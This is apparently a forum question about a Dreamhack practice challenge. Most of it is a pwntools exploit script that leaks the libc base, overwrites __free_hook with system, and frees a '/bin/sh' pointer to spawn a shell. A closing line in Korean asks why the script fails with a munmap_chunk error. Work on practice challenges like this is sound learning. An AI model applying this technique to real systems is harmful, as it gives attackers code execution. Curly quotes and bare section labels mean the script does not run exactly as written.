from pwn import *

p = process(“./fho”)
#p = remote(“host3.dreamhack.games”, 8441)
e = ELF(“./fho”)
libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
#libc = ELF(“./libc-2.27.so”)

def slog(name, addr): return success(": ".join([name, hex(addr)]))

[1] Leak libc base

buf = b"A"*0x48
p.sendafter(“Buf: “, buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b”\x00”*2)

#------
libc_base = libc_start_main_xx - (libc.symbols[“__libc_start_main”] + 231)
#libc_base = libc_start_main_xx - 0x021bf7
#0x021b97
#------

system = libc_base + libc.symbols[“system”]
free_hook = libc_base + libc.symbols[“__free_hook”]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog(“libc_base”, libc_base)
slog(“system”, system)
slog(“free_hook”, free_hook)
slog(“/bin/sh”, binsh)

[2] Overwrite free_hook with system

p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(system))

[3] Exploit

p.recvuntil(b"To free: ")
p.sendline(str(binsh))

p.interactive()
다음과 같이 풀려고 했으나 마지막에 munmap_chunk 라는 error 가 발생해서 풀리지가 않습니다. 어디를 수정해야 될까요?